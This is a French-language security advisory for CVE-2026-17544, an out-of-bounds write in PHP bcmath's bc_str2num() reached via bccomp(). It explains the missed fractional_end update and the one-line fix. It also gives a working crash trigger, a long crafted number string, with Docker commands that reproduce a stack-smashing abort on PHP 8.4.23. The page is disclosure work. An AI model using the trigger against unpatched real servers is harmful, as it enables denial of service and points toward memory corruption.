
CVE-2026-17544 — Écriture hors limites (OOB write) dans PHP bcmath bccomp() (stack smashing). Vérifié : crash sur 8.4.23/8.5.8, corrigé en 8.4.24. GHSA-x692-q9x7-8c3f
bccomp() de PHP bcmath (stack smashing)CVSS 9.8 (Critique) · CWE-787 · GHSA-x692-q9x7-8c3f
bc_str2num() dans ext/bcmath/libbcmath/src/str2num.c (libbcmath intégré, PHP 8.4+) contient une
écriture hors limites de type off-by-N. Lorsque le scale fourni par l'utilisateur est inférieur à l'échelle
automatique de l'opérande, la fraction est tronquée puis une suppression des zéros finaux s'exécute sans
mettre à jour fractional_end. Le tampon est alloué pour la longueur tronquée (plus courte), mais la copie
utilise la longueur non tronquée → dépassement de tampon sur le tas/la pile.
Versions affectées : PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
Corrigé : PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 / ce2ec8a70755
Crédit du rapporteur : Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
Le correctif d'une ligne (fractional_end = fractional_new_end;) ainsi que le test de régression
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt ont été fusionnés dans 8.4.24/8.5.9.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
Vérifié le 12 août 2026 sur Raspberry Pi 5 (arm64) via Docker.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp()
peut être mis en crash de manière déterministe (8.4/8.5, les builds avec stack-protector font un abort ; les builds
non protégés corrompent les registres sauvegardés et l'adresse de retour).fa18dab73f93 · Correctif 8.5 : ce2ec8a70755| Build | Résultat |
|---|
PHP 8.4.23 (vulnérable, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (vulnérable) | 💥 identique — abandon déterministe (abort) |
PHP 8.4.24 (corrigé, php:8.4.24-cli) | ✅ int(1), exit 0 |